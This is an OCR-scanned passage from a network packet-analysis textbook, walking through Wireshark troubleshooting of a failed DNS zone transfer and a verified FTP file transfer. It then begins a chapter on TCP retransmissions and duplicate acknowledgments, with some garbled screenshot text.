on the network. These servers are located at the main office and are accessed 
through the wide area network (WAN). This issue affects all users at the branch 
office, and is limited to just these internal servers. All users can access the 
Internet and other resources within the branch. 

Figure 8-33 shows the components to consider in this scenario, which 
involves multiple sites. 


Workstation 
172.16.16.101 


HQ App Server 


WAN Link 172.16.16.200 


© 


Branch Router 


© 


HQ Router 


HQ Master DNS Server 
172.16.16.250 


Central (HG) Office 


Branch Slave DNS Server 
172.16.16.251 


Branch Office 


Figure 8-33: The relevant components for the stranded branch office issue 


Tapping into the Wire 

Because the problem lies in communication between the main and branch 
offices, there are a couple of places we could collect data to start tracking 
down the problem. The problem could be with the clients inside the branch 
office, so we'll start by port mirroring one of those computers to check what 
it sees on the wire. Once we've collected that information, we can use it to 
point toward other collection locations that might help solve the problem. 
The initial capture file obtained from one of the clients is stranded. clientside.pcap. 


Analysis 

As shown in Figure 8-34, our first capture file begins when the user at the 
workstation address 172.16.16.101 attempts to access an application hosted 
on the headquarters app server, 172.16.16.200. This capture contains only 
two packets. It appears as though a DNS request is sent to 172.16.16.251 € 
for the A record @ for appserver ® in the first packet. This is the DNS name for 
the server at 172.16.16.200 in the central office. 

As you can see in Figure 8-35, the response to this packet is a server fail- 
ure 8, which indicates that something is preventing the DNS query from 
completing successfully. Notice that this packet does not answer the query @ 
since it is an error (server failure). 


We now know that the communication problem is related to some DNS 
issue. Because the DNS queries at the branch office are resolved by the DNS 
server at 172.16.16.251, that’s our next stop. 


ll 1 0.000000 172.16.16.101 172.16.16.251 DNS Standard query A appserver [jn E 


@ Frame 1: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) 
Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a) 
@ Internet Protocol, Src: 172.16.16.101 (172.16.16.101), Dst: 172.16.16.251 (172.16.16.251) [1) 
Œ User Datagram Protocol, Src Port: 56779 (56779), Dst Port: 53 (53) 
Ej Domain Name System (query) 
Response In: 2 
Transaction ID: 0x0003 
Flags: 0x0100 (standard query) 
Questions: 1 
Answer RRs: O 
Authority RRs: O 
Additional RRs: 0 
E Queries 
m appserver: type A, class IN 
Name: appserver @ 
Type: A (Host address) @ 
Class: IN (0x0001) 


0010 00 37 51 55 00 00 80 11 6f eO ac 10 10 65 ac 10 
0020 10 fb dd cb 00 35 00 23 e0 02 00 03 O1 00 00 01 
0030 00 00 OO OO OO 00 DENSUEELUNLEERCEREE EL 65 72) 
0040 MOO OO O1 OO O1| 


m 


Figure 8-34: Communication begins with a DNS query for the appserver A record. 


ll 2 0.000346 172.16.16.251 172.16.16.101 DNS Standard query response, Server failure [E 


Frame 2: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) 

& Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a) 
Internet Protocol, Src: 172.16.16.251 (172.16.16.251), Dst: 172.16.16.101 (172.16.16.101) 

Œ User Datagram Protocol, Src Port: 53 (53), Dst Port: 56779 (56779) 

= Domain Name System (response) 


Request In: 1 


[Time: 0.000346000 seconds] 


Transaction ID: 0x0003 
Questions: 1 
Answer RRs: O (2) 
a Authority RRs: 0 
Additional RRs: 0 
E Queries 
E appserver: type A, class IN 
Name: appserver 
Type: A (Host address) 
Class: IN (0x0001) 


0010 00 37 O1 8b 00 00 80 11 bf aa ac 10 10 fb ac 10 
0020 10 65 00 35 dd cb 00 23 5f 80 00 03 BEEE 00 01 
0030 00 00 00 00 OO 00 09 61 70 70 73 65 72 76 65 72 
0040 0000010001 | | | A) usss 


M 


a ppserver 


Figure 8-35: The query response indicates a problem upstream. 


In order to capture the appropriate traffic from the branch DNS server, 
we'll leave our sniffer in place and simply change the port-mirroring assign- 
ment so that the server's traffic, rather than the workstation's traffic, is now 
mirrored to our sniffer. The result is the file stranded. branchdns.pcap. 

As shown in Figure 8-36, this capture begins with the query and response 
we saw earlier, along with one additional packet. This additional packet looks 
a bit odd because it is attempting to communicate with the primary DNS 
server at the central office (172.16.16.250) ® on the standard DNS server 
port 53 6, but it is not the UDP © we're used to seeing. 

In order to figure out the purpose of this packet, recall our discussion of 
DNS in Chapter 7. DNS usually uses UDP, but it uses TCP when the response 
to a query exceeds a certain size. In that case, we'll see some initial UDP traffic 
that triggers the TCP traffic. TCP is also used for DNS during a zone transfer, 
when resource records are transferred between DNS servers, which is likely 


the case here. 
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@ 3 0.000120 172.16.16.251 172.16.16.250 TCP 49160 > 53 [SYN] Seq=2009653443 Win=8192 Len=0 MSS=1460 WS=8 [ casis. mm 


|& Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 

|& Ethernet II, Src: 00:0c:29:39:42:70 (00:0c:29:39:42:70), Dst: 00:0c:29:3d:10:f5 (00:0c:29:3d:10:f5) 

& Internet Protocol, Src: 172.16.16.251 (172.16.16.251), Dst: 17 
rol Protoc 160 (4911 


Source port: 49160 (49160) B i 
| [Stream index: 1] | 
Sequence number: 2009653443 
Header length: 32 bytes 
@ lags: a OR027 (SYN) ee ar ra mee ENG. 
@ Checksum: Oxbc30 [validation disabled] 
E Options: (12 bytes) 


0010 00 34 03 a6 40 00 80 06 7d 08 ac 10 10 fb ac 10 4. 
0020 10 fa cO 08 QUEE 77 c8 e0 c3 00 OO OO 00 80 02 
(0030 20 00 bc 30 00 00 02 04 05 b4 01 03 03 08 O1 O1 | 
0040 04 02 t 


Figure 8-36: This SYN packet uses port 53 but is not UDP. 


The DNS server at the branch office location is a slave to the DNS server 
at the central office, meaning that it relies on it in order to receive resource 
records. The application server that users in the branch office are trying to 
access is located inside the central office, which means that the central office 
DNS server is authoritative for that server. In order for the branch office 
server to be able to resolve a DNS request for the application server, the DNS 
resource record for that server must be transferred from the central office 
DNS server to the branch office DNS server. This is likely the source of the 
SYN packet in this capture file. 

The lack of response to this SYN packet tells us that the DNS problem 
here is the result of a failed zone transfer between the branch and central 
office DNS servers. Now we can go one step further by figuring out why the 
zone transfer is failing. The possible culprits for the issue can be narrowed 
down to the routers between the offices or the central office DNS server 
itself. In order to figure this out, we can sniff the traffic of the central office 
DNS server to see if the SYN packet is making it to the server. 

I have not included a capture file for the central office DNS server traffic 
because there was none. The SYN packet never reached the server. Upon dis- 
patching technicians to review the configuration of the routers connecting 
the two offices, it was found that the central office router was configured to 
allow UDP traffic inbound only on port 53 and block TCP traffic inbound on 
port 53. This simple misconfiguration prevented zone transfers from occur- 
ring between servers, which prevented clients within the branch office from 
resolving queries for devices in the central office. 


Lessons Learned 


You can learn a lot about investigating network communications issues by 
watching crime dramas. When a crime occurs, the detectives begin by inter- 
viewing those most affected. Leads that result from that examination are pur- 
sued, and the process continues until a culprit is found. 

In this scenario, we began by examining the victim (the workstation) and 
established leads by finding the DNS communication issue. Our leads led us 
to the branch DNS server, then to the central DNS server, and finally to the 
router, which was the source of the problem. 


tickedoffdeveloper 
.pcap 


When performing analysis, try thinking of packets as clues. The clues 
don't always tell you who committed the crime, but they often take you to the 
culprit eventually. 


Ticked-Off Developer 


Some of the most frequent arguments in IT are between developers and system 

administrators. Developers always blame shoddy network setup and malfunc- 
tioning equipment for program malfunctions. System administrators tend to 
blame bad code for network errors and slow communication. 

In this scenario, a programmer has developed an application for tracking 
the sales at multiple stores and reporting back to a central database. In an 
effort to save bandwidth during normal business hours, this is not a real-time 
application. Reporting data is accumulated throughout the day and is trans- 
mitted at night as a comma-separated value (CSV) file to be inserted into the 
central database. 

This newly developed application is not functioning correctly. The files 
sent from the stores are being received by the server, but the data being 
inserted into the database is not correct. Sections are missing, data is in the 
wrong place, and some portions of the data are missing. Much to the dismay 
of the system administrator, the programmer blames the network for the 
issue. He is convinced that the files are becoming corrupted while in transit 
from the stores to the central data repository. Our goal is to prove him wrong. 


Tapping into the Wire 

In order to collect the data we need, we can capture packets at one of the 
stores or at the central office. Because the issue is affecting all of the stores, it 
would seem that if the issue is network-related, it would occur at the central 
office—that is the only common thread among all stores. 

The network switches support port mirroring, so we'll mirror the port 
the server is plugged into and sniff its traffic. The traffic capture will be iso- 
lated to a single instance of a store uploading its CSV file to the collection 
server. This result is the capture file tickedoffdeveloper.pcap. 


Analysis 


We know nothing about the application the programmer has developed, 
other than the basic flow of information on the network. The capture file 
appears to start with some FTP traffic, so we'll investigate that to see if it is 
indeed the mechanism that is transporting this file. This is a good place to 
examine the communication flow graph for a nice, clean summary of the 
communication that is occurring. To do so, select Statistics » Flow Graph, 
and then click OK. Figure 8-37 shows the resulting graph. 
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V] tickedoffdeveloper.pcap - Graph Analysis Srm) 
= 1721616128 = " E 
Eis e 1721616121 sie 

0.000 peer > 21 [SYI à TCP: 2555 > 21 [SYN] Seq- 3690528913 Win-8192 Len-0 MSS=1460 WS-2 
0.000 512-2225 ISYN, ACK TCP: 21 > 2555 [SYN, ACK] Seq 2845945032 Ack=3690528914 Win-8192 Len=0 MSS=1460 WS=8 6) 
0.000 E A555 » 21 [ACI à TCP: 2555 > 21 [ACK] Seq 3690528914 Ack=2845945033 Win=4380 Len=0 
0,003 em Response: 220 File FTP: Response: 220 FileZilla Server version 0.9.34 beta 

Request: USER salgs 3 
0.003 rn E FTP: Request USER salesxfer = 
0.003 c issponse 331 Passw FTP: Response: 331 Password required for salesxfer 
0.004 n uest: PASS y W FTP: Request PASS p@sswOrd 
0.005 ,,Pasponse: 230 Logge FTP: Response: 230 Logged on 

sss Ton 

0.005 E Request: opts utfg.: - FTP: Request opts utf8 on 
0,005 oí, esponse: 200 UTF 200 UT s FTP: Response: 200 UTF8 mode enabled 

i. Requ i 
0.006 psy —Beauest syst ys, FTP: Request syst La 
0.006 ssp esponse: 215 UNDE FTP: Response: 215 UNIX emulated by FieZila 
0.006 Request site hel, FTP: Request site help 
0,007 as Roaponse: 504 Comma, FTP: Response: 504 Command not implemented for that parameter 

h 1 

L PWD p! 
0.007 pomi FTP: Request PWD 
0.007 SA 1 los FTP: Response: 257 "/* is current directory. 

|Request: TYPE A, ; 
0,007 cat Ress E en FTP: Request TYPE A 
0.008 ,aponse 200 Type . FTP: Response: 200 Type set to A 
0.008 T FIP: Request PASV 

asser ion 

0.009 assy Response: 227 Entet, FTP: Response: 227 Entering Passive Mode (172161612119211) 

' i 
0.010 essor ian Pips Request: [St 
0.011 ose Mesponse: 150 Conny FTP: Response: 150 Connection accepted 
0.012 psss Response: 226 Trans 2 FTP: Response: 226 Transfer OK 
0.012 pe 55 > 21 [ACI TCP: 2555 > 21 [ACK] Seq=3690529001 Ack=2845945372 Win=4295 Len=0 

H i 
1.508 osp Request noop i. FTP: Request noop 
1.509 psg- Response: 200 OK, FTP: Response: 200 OK 
1.509 eh uest: CWD /ba iu, FTP: Request CWD /backup/ 
1.510 oí Pasponse 250 CWDS | FTP: Response: 250 CWD successful "/backup" is current directory. 
151 gx, "Request: TYPE A FTP: Request TYPE A 
1511 ,Repense 200 Type FTP: Response: 200 Type set to A 

ı Request: PASV ,.: 
1511 cus Equest: PASY wi, FTP: Request PASV 
1.512 osa RESPONSE: 227 Entet - FTP: Response: 227 Entering Passive Mode (172161612119212) 
1513 aso Request: LIST ,: FTP: Request LIST 

«I " ] ^ i*l m + 
Close 


Figure 8-37: The flow graph gives a quick view of the FTP communication. 


Based on this flow graph, we see that a basic FTP connection is set up 
between 172.16.16.128 and 172.16.16.121 ®. Since 172.16.16.128 is initiating 
the connection @, we can assume that it is the client, and that 172.16.16.121 
is the server that compiles and processes the data. The flow graph confirms 
that this traffic is exclusively using the FTP protocol. 

We know that some transfer of data should be happening here, so we can 
use our knowledge of FTP to locate the packet where this transfer begins. 
The FTP connection and data transfer are initiated by the client, so we should 
be looking for the FTP STOR command, which is used to upload data to an 
FTP server. The easiest way to find this is to build a filter. 

Because this capture file is littered with FTP request commands, rather 
than sorting through the hundreds of protocols and options in the expres- 
sion builder, we can build the filter we need directly from the Packet List 
pane. In order to do this, we first need to select a packet with an FTP request 
command present. We will choose packet 5, since it's near the top of our list. 
Then expand the FTP section in the Packet Details pane and expand the 
USER section. Right-click the Request Command: USER field and select 
Prepare a Filter. Finally, choose Selected. 


This will prepare a filter for all packets that contain the FTP USER request 
command and put it in the filter dialog. Next, as shown in Figure 8-38, edit 
the filter by replacing the word USER with the word STOR 0. 


Filter: | ftp.request.command == "STOR" Q * Expression.. Clear Apply 


No. Time Source Destination Protocol Info 
2 64 4.369659 172.16.16.128 -16.16. Request: STOR store4829-03222010. csv 


Figure 8-38: This filter helps identify where data transfer begins. 


Now apply this filter by pressing ENTER, and you'll see that only one instance 
of the STOR command exists in the capture file, at packet 64 6. 

Now that we know where data transfer begins, clear the filter by clicking 
the Clear button above the Packet List pane. 

Examining the capture file beginning with packet 64, we see that this 
packet specifies the transfer of the file store4829-03222010.csv @, as shown 
in Figure 8-39. 


A 64 4.369659 172.16.16.128 172.16.16.121 FTP Request: STOR store4829-03222010.csv acer] 


& Frame 64: 83 bytes on wire (664 bits), 83 bytes captured (664 bits) F 

& Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:0c:29:ea:17:be (00:0c:29:ea:17:be) 

& Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 172.16.16.121 (172.16.16.121) 

& Transmission Control Protocol, Src Port: 2555 (2555), Dst Port: 21 (21), Seq: 3690529135, Ack: 2845945907, Len: 29 | 

Ə File Transfer Protocol (FTP) | 

Ej STOR store4829-03222010. csv\r\n | 

| 
| 
| 


Request command: STOR 


| Request arg: store4829-03222010.csv 1 


0020 10 79 09 fb 00 15 db f9 0l 6f a9 al bO 33 50 H3 “ly. pru 
et 72 


0030 10 41 fe 31 00 00 53 54 4f 52 20 PEBE] .A T OR ERES LI 
OZNE 38 32 39 2d 30 33 32 32 32 30 31 30 2e 63 ieee a 
|oo5s0 fi Od Oa E. ie] 
R 


Figure 8-39: The CSV file is being transferred using FTP. 


The packets following the STOR command use a different port, but are 
identified as part of an FTP-DATA transmission. We've verified that data is 
being transferred, but we have yet to prove the programmer wrong. In order to 
do that, we need to show that the contents of the file are sound after travers- 
ing the network by extracting the transferred file from the captured packets. 

When a file is transferred across a network in an unencrypted format, it 
is broken down into segments and reassembled at its destination. In this sce- 
nario, we captured packets as they reached their destination but before they 
were reassembled. The data is all there, we simply need to reassemble it by 
extracting the file as a data stream. To perform the reassembly, select any of 
the packets in the FTP-DATA stream (such as packet 66) and click Follow TCP 
Stream. The results are displayed in the TCP stream, as shown in Figure 8-40. 

The data appears because it is being transferred in plaintext over FTP, 
but we can't be sure that the file is intact based on the stream alone. In order 
to reassemble the data so that we can extract it in its original format, click the 
Save As button and specify the name of the file as displayed in packet 64, as 
shown in Figure 8-41. Then click Save. 
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(m Follow TCP Stream balak) 


r Stream Content 


StoreID,SKF,QTY p 
4829,808966,5 — 
4829,893932,7 

4829,638384,2 

4829,260513,4 

4829,697840,2 

4829,706390,1 

4829,438522,9 

4829,305646,6 

4829,626872,6 

4829,462192,2 

4829,235990,1 

4829,354072,7 

4829,314705,1 

4829,137917,6 

4829,752470,9 

4829,680528,9 

4829,108508,3 

4829,462327,7 

||| 4829,220298,5 I 
||| 4829,168441,4 

||| 4829,410705,7 
||| 4829,162926,5 
4829,571311,1 
4829, 332165,8 


4829, 311649,9 
4829,911907,9 
4829,211492,1 
||| /4829,890078,3 
4829,415774,3 
4829,751736,2 
4829,868588,6 


4829, 303658, 5 - 
Eind || Save As || Print | Entire conversation (19832 bytes) |-]e ASCI © EBCDIC © Hex Dump © C Arrays @ Raw 

| | Filter Out This Stream | | Close 

N J 


Figure 8-40: The TCP stream shows what appears to be the data being transferred. 


(6G 
[24] Wireshark: Save Follow Stream As 


Name: store4829-03222010.cs4 


Save in folder: 4. Local Disk (C:) 


Browse for other folders 


E 


Figure 8-41: Saving the stream as the original filename 


The result of this save operation should be a CSV file that is an exact byte- 
level copy of the file originally transferred from the store system. The file can 
be verified by comparing the MD5 hash of the original file with that of the 
extracted file. The MD5 hashes should be the same, as shown in Figure 8-42. 

Once the files are compared, we can prove that the network is not to 
blame for the database corruption occurring within the application. The file 
transferred from the store to the collection server is intact when it reaches 
the server, so any corruption must be occurring when the file is processed 
by the application. 


- 
Ga) store4829-03222010.csv Properties = 


General | File Hashes | Security | Details | Previous Versions 


Name Hash Value 

CRC32 FD38F576 

MD5 ECDAAD709ACED7B0C6EBCE44200D5799 

SHA-1 65769D35E20F374946 1C4A6FDEASAC37906E5869 
Options 


Hash Comparison: 
ECDAAD709ACED7B0C6EBCE44200D5799 


Í wos 


Figure 8-42: The MD5 hashes of the original file and 
the extracted file are equivalent. 


Lessons Learned 


One great thing about packet-level analysis is that you don’t need to deal 
with the clutter of applications. Poorly coded applications greatly outnumber 
the good ones, but at the packet level, none of that matters. In this case, the 
programmer was concerned about all of the mysterious components his 
application was dependent upon, but at the end of the day, his complicated 
data transfer that took hundreds of lines of code is still no more than FTP, 
TCP, and IP. Using what we know about these basic protocols, we were able 
to ensure the communication process flowed correctly and even extract 
files to prove the soundness of the network. It’s crucial to remember that 
no matter how complex the issue at hand, it’s still just packets. 


Final Thoughts 


In this chapter, we’ve covered several basic scenarios where packet analysis 
allowed us to gain a better understanding of problematic communication. 
Using basic analysis of common protocols, we were able to track down and 
solve network problems in a timely manner. While you may not encounter 
exactly the same scenarios on your network, the analysis techniques presented 
here should prove useful to you as you analyze your own unique problems. 
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FIGHTING A SLOW NETWORK 


As a network administrator, much of your 

time will be spent fixing computers and 
services that are running slower than they 
should be. But just because someone says that 
the network is running slowly does not mean that the 
network is to blame. 


Before you begin to tackle a slow network problem, you first need to 
determine whether the network is in fact running slowly. You'll learn how 
to do that in this chapter. 

We will begin by discussing the error-recovery and flow-control features 
of TCP. Then we will explore how to detect the source of slowness on a net- 
work. Finally, we will look at approaches for baselining networks and the 
devices and services that run on them. Once you have completed this chapter, 
you should be much better equipped to identify, diagnose, and troubleshoot 
slow networks. 


NOTE 


Multiple techniques can be used to troubleshoot slow networks. I’ve chosen to focus this 
chapter primarily on TCP because most of the time it is all that you will have to work 
with. TCP allows you to perform passive retrospective analysis rather than generate 
additional traffic (as with ICMP). 


TCP Error-Recovery Features 


tcp_retransmissions 


.pcap 
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TCP’s error-recovery features are our best tools for locating, diagnosing, and 
eventually repairing high latency on a network. In terms of computer net- 
working, latency is a measure of delay between a packet’s transmission and its 
receipt. 

Latency can be measured as one-way (from a single source to a destination) 
or as round-trip (from a source to a destination and back to the original source). 
When communication between devices is fast, and the amount of time it 
takes for a packet to get from one point to another is low, the communication 
is said to have low latency. Conversely, when packets take a significant amount 
of time to travel between a source and destination, the communication is 
said to have high latency. High latency is the number one enemy of all net- 
work administrators who value their sanity (and their job). 

In Chapter 6, we discussed how TCP uses sequence and acknowledgment 
numbers to ensure the reliable delivery of packets. In this chapter, we'll look 
at sequence and acknowledgment numbers again to see how TCP responds 
when high latency causes these numbers to be received out of sequence (or 
not received at all). 


TCP Retransmissions 


The ability of a host to retransmit packets is one of TCP's most fundamental 
error-recovery features. It is designed to combat packet loss. 

There are many possible causes for packet loss, including malfunctioning 
applications, routers under a heavy traffic load, or a temporary service outage. 
Things move fast at the packet level, and often the packet loss is temporary, 
so it's crucial for TCP to be able to detect and recover from packet loss. 

The primary mechanism for determining whether the retransmission of 
a packet is necessary is called the retransmission timer. This timer is responsible 
for maintaining a value called the retransmission timeout (RTO). Whenever a 
packet is transmitted using TCP, the retransmission timer starts. This timer 
stops when an ACK for that packet is received. The time between the packet 
transmission and receipt of the ACK packet is called the round-trip time (RTT). 
Several of these times are averaged, and that average is used to determine 
the final RTO value. 

Until an RTO value is actually determined, the transmitting operating 
system relies on its default configured RTT setting. This setting is issued for 
the initial communication between hosts and is adjusted based on the RTT 
from received packets in order to form the actual RTO. 

Once the RTO value has been determined, the retransmission timer 
is used on every transmitted packet to determine whether packet loss has 
occurred. Figure 9-1 illustrates the TCP retransmission process. 


Data ) 
Retransmission 1 (RTO) D 
Retransmission 2 (RTO x 2) ) 


D> Retransmission 3 (RTO x 4) » 


Transmitting Host Retransmission 4 (RTO x 8] 


Retransmission 5 (RTO x 16) ) 


No Response = Connection Terminated 


Recipient Host 


Figure 9-1: Conceptual view of the TCP retransmission process 


When a packet is sent, but the recipient has not sent a TCP ACK packet, 
the transmitting host assumes that the original packet was lost and retrans- 
mits the original packet. When the retransmission is sent, the RTO value is 
doubled; if no ACK packet is received before that value is reached, another 
retransmission will occur. The RTO value will be doubled for the next retrans- 
mission should an ACK not be received. This process will continue, with the 
RTO value being doubled for each retransmission, until an ACK packet is 
received or until the sender reaches the maximum number of retransmission 
attempts it is configured to send. 

The maximum number of retransmission attempts depends on the value 
configured in the transmitting operating system. By default, Windows hosts 
default to a maximum of five retransmission attempts. Most Linux hosts default 
to a maximum of 15 attempts. This option is configurable in either operating 
system category. 

To see an example of TCP retransmission, open the file écp_ 
retransmissions.pcap, which contains six packets. The first packet is shown 
in Figure 9-2. 


- 
@ 1 0.000000 10.3.30.1 10.3.71.7 TCP 1048 > 1043 [PSH, ACK] Seq=5405497 Ack=7118811 Win=8760 Len-648 Ea kw 


Frame 1: 706 bytes on wire (5648 bits), 706 bytes captured (5648 bits) 
Ethernet II, Src: 00:20:78:e1:5a:80 (00:20:78:e1:5a:80), Dst: 00:00:65:10:22:1b (00:00:65:10:22:1b) 
Internet Protocol, Src: 10.3.30.1 (10.3.30.1), Dst: 10.3.71.7 (10.3. 
m Transmission Control Protocol, src Port: 1048 (1048), Dst Port: 1043 (1043), Seq: 5405497, Ack: 7118811, Len: 648 
Source port: 1048 (1048) 
Destination port: 1043 (1043) 
y [stream index: 0] 
| Sequence number: 5405497 
|| [Next sequence number: 5406145] 
Acknowledgement number: 7118811 
Header length: 20 bytes 
Flags: 0x18 (PSH, ACK) 
window size: 8760 
@ Checksum: Ox9b5f [validation disabled] 
E [SEQ/ACK analysis] 
[Number of bytes in flight: 648] 
© Data (648 bytes) 
Data: 703ECE4B27B1DB9282DEA4181D0D86F0735041B579CD2EDD. . . 
[Length: 648] 


|0050 13 57 db 1d ef db 1b 66 8e bi 72 10 bO a6 66 3d 
|0060 17 b6 54 92 d7 2b 66 4c 8f 9d e8 6b 24 7f 8b 2b 


lanzan -rn fn 54 £5 Gh Oh dn dr ha 46 EN E? A> 7n 20 Fe 


n 


Figure 9-2: A simple TCP packet containing data 
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This packet is a TCP PSH/ACK packet ® containing 648 bytes of data € 
that is sent from 10.3.30.1 to 10.3.71.7 6. This is a typical data packet. 

Under normal circumstances, you would expect to see a TCP ACK packet 
in response fairly soon after the first packet is sent. In this case, however, the 
next packet is a retransmission. You can tell this by looking at the packet in 
the Packet List pane. The Info column clearly says [TCP Retransmission], 
and the packet will appear with red text on a black background. Figure 9-3 
shows examples of retransmissions listed in the Packet List pane. 


Destination Protocol Info 


Figure 9-3: Retransmissions in the Packet List pane 
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You can also determine if a packet is a retransmission by examining it in 
the Packet Details and Packet Bytes panes, as shown in Figure 9-4. 


ua 2 0.206000 10.3.30.1 10.3.71.7 TCP [TCP Retransmission] 1048 > 1043 [PSH, ACK] Seq- 5405497 Ack=7118811 Win=8760 Len-648 Ere} 


Hj Frame 2: 706 bytes on wire (5648 bits), 706 bytes captured (5648 bits) 
@ Ethernet II, Src: 00:20:78:e1:5a:80 (00:20:78:e1:5a:80), Dst: 00:00:65:10:22:1b (00:00:65:10:22:1b) 
Œ Internet Protocol, src: 10.3.30.1 (10.3.30.1), Dst: 10.3.71.7 (10.3.71.7) 
E Transmission Control Protocol, src Port: 1048 (1048), Dst Port: 1043 (1043), Seq: 5405497, Ack: 7118811, Len: 648 
Source port: 1048 (1048) 
Destination port: 1043 (1043) 
[stream index: 0] 
Sequence number: 5405497 
[Next sequence number: 5406145] 
Acknowledgement number: 7118811 
Header length: 20 bytes 
B Flags: 0x18 (PSH, ACK) 
window size: 8760 
E Checksum: Ox9b5f [validation disabled] 
[Number of bytes in flight: 648] 
a [TCP Analysis Flags] 
& [This frame is a (suspected) retransmission] e 
[The RTO for this segment was: 0.206000000 seconds] @ 
[RTO based on delta from frame: 1] 
Ej Data (648 bytes) 
Data: 703ECE4B27B1DB9282DEA4181D0D86F 07 35041B579CD2EDD. . . 
[Length: 648] 


0000 00 00 65 10 22 1b 00 20 
0010 02 bO 6a Oc 40 00 80 06 
0020 47 07 04 18 04 13 00 52 
0030 22 38 9b 5f 00 00 70 3e 
0040 a4 18 1d Od 86 fO 73 50 


(ntn 12 57 dh 1d e£ dh th EG 


S 


Figure 9-4: An individual retransmission packet 


Note that this packet is the same as the original packet (other than the IP 
identification and Checksum fields). To verify this, compare the Packet Bytes 
pane of this retransmitted packet with the original one 6. 

In the Packet Details pane, notice that the retransmission packet has 
some additional information included under the SEQ/ACK Analysis heading 
O. This useful information is provided by Wireshark and is not actually con- 
tained in the packet itself. The SEQ/ACK analysis tells us that this is indeed a 
retransmission 9, that the RTO value is 0.206 seconds @, and that the RTO 
is based on the delta time from packet 1 9. 

Examination of the remaining packets should yield similar results, with 
the only differences between the packets found in the IP identification and 
Checksum fields, and the RTO value. To visualize the time lapse between 
each packet, look at the Time column in the Packet List pane, as shown in 
Figure 9-5. Here, you see exponential growth in time as the RTO value is 
doubled after each retransmission. 


tcp dupack.pcap 


NOTE 


The TCP retransmission feature is used by the trans- 
mitting device to detect and recover from packet loss. Next, 
we'll examine TCP duplicate acknowledgments, a feature that the 
data recipient uses to detect and recover from packet loss. 


. 805000 
TCP Duplicate Acknowledgments and Fast Retransmissions Figure 9.5: The 


A duplicate ACK is a TCP packet sent from a recipient Time column 
shows the increase 


when that recipient receives packets that are out of order. ; 
in RTO value. 
TCP uses the sequence and acknowledgment number 
fields within its header to reliably ensure that data is received 
and reassembled in the same order in which it was sent. 


The proper term for a TCP packet is actually a TCP segment, but most people tend to 
refer to them as packets. 


When a new TCP connection is established, one of the most important 
pieces of information exchanged during the handshake process is an initial 
sequence number (ISN). Once the ISN is set for each side of the connection, 
each subsequently transmitted packet increments the sequence number by 
the size of its data payload. 

Consider a host that has an ISN of 5000 and sends a 500-byte packet to a 
recipient. Once this packet has been received, the recipient host will respond 
with a TCP ACK packet with an acknowledgment number of 5500, based on 
the following formula: 


Sequence Number In + Bytes of Data Received = Acknowledgment Number Out 


As a result of this calculation, the acknowledgment number returned to 
the transmitting host is actually the next sequence number that the recipient 
expects to receive. An example of this can be seen in Figure 9-6. 


SEQ #: 5000 Data Size: 500 D 
e ACK #: 5500 
SEQ #: 5500 Data Size: 500 » 


SS e ACK #: 6000 


us SEQ #: 6000 Data Size: 500 M 
Transmitting Host — D Recipient Host 


ACK #: 6500 


Figure 9-6: TCP sequence and acknowledgment numbers 


The detection of packet loss by the data recipient is made possible through 
the sequence numbers. As the recipient tracks the sequence numbers it is receiv- 
ing, it can determine when it receives sequence numbers that are out of order. 

When the recipient receives an unexpected sequence number, it assumes 
that a packet has been lost in transit. In order to reassemble data properly, 
the recipient must have the missing packet, so it resends the ACK packet that 
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contains the lost packet's expected sequence number in order to elicit a 
retransmission of that packet from the transmitting host. 

When the transmitting host receives three duplicate ACKs from the 
recipient, it assumes that the packet was indeed lost in transit and immedi- 
ately sends a fast retransmission. Once a fast retransmission is triggered, all 
other packets being transmitted are queued until the fast retransmission 
packet is sent. This process is depicted in Figure 9-7. 


SEQ #: 5000 Data Size: 500 » 


e ACK #: 5500 ] 
| SEQ #: 6000 Data Size: 500 » 


( Duplicate ACK(1)#: 5500 
> ( Duplicate ACK(2}#: 5500 


Transmitting Host e Duplicate ACK(3}#: 5500 ] Recipient Host 


Fast Retransmission SEQ #: 5500 Data Size: ED) 


d ACK #: 6000 ] 


Figure 9-7: Duplicate ACKs from the recipient result in a fast retransmission. 


You'll find an example of duplicate ACKs and fast retransmissions in the 
file tcb_dupack.pcap. The first packet in this capture is shown in Figure 9-8. 


E 1 0.000000 172.31.136.85 195.81.202.68 TCP 38760 > 80 [ACK] Seq=704338729 Ack-1310973186 Win=382 Len-0 TSV=22247173 TSER=1332354 subd [em] 


Frame 1: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) 
Ethernet II, Src: 00:16:35:a4:c1:c6 (00:16:35:a4:c1:c6), Dst: 00:00:0c:07:ac:01 (00:00:0c:07:ac:01) 
Internet Protocol, Src: 172.31.136.85 (172.31.136.85), Dst: 19: 202.68 (195.81.202.68) 
m Transmission Control Protocol, src Port: 38760 (38760), Dst Port: 80 (80), Seq: 704338729, Ack: 1310973186, Len: O 
Source port: 38760 (38760) 
Destination port: 80 (80) 
[stream index: 0] 
Sequence number: 704338729 
Acknowledgement number: 1310973186 [2] 
Header length: 44 bytes 
@ Flags: 0x10 (ACK) 
window size: 382 
Checksum: Oxdibe [validation disabled] 
Options: (24 bytes) 


0010 00 40 2f 40 40 00 40 06 49 6d ac 1f 88 55 c3 51 
ca r3o/ 68 00 50 29 fb 5b 29 4e 23 dd 02 bO 10 
(01 7e di be 00 00 O1 O1 08 Oa 01 53 77 05 OO 14| 
| [154 82 01 O1 05 Oa 4e 23 f2 62 4e 24 07 c?| 


o 
o 
m 
o 
w 


o 
o 
w 
3 


Figure 9-8: The ACK showing the next expected sequence number 


This packet, a TCP ACK sent from the data recipient (172.31.136.85) to 
the transmitter (195.81.202.68) €, has an acknowledgment of the data sent 
in the previous packet that is not included in this capture file. 


NOTE By default, Wireshark uses relative sequence numbers to make the analysis of these 
numbers easier, but the examples and screenshots in the next few sections do not use this 
feature. To turn off this feature, select Edit ¥ Preferences. In the Preferences window, 
select Protocols and then the TCP section. Then uncheck the box next to Relative 
sequence numbers and window scaling. 
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The acknowledgment number in this packet is 1310973186 0, which 
should be the sequence number of the next packet received, as shown in 
Figure 9-9. 


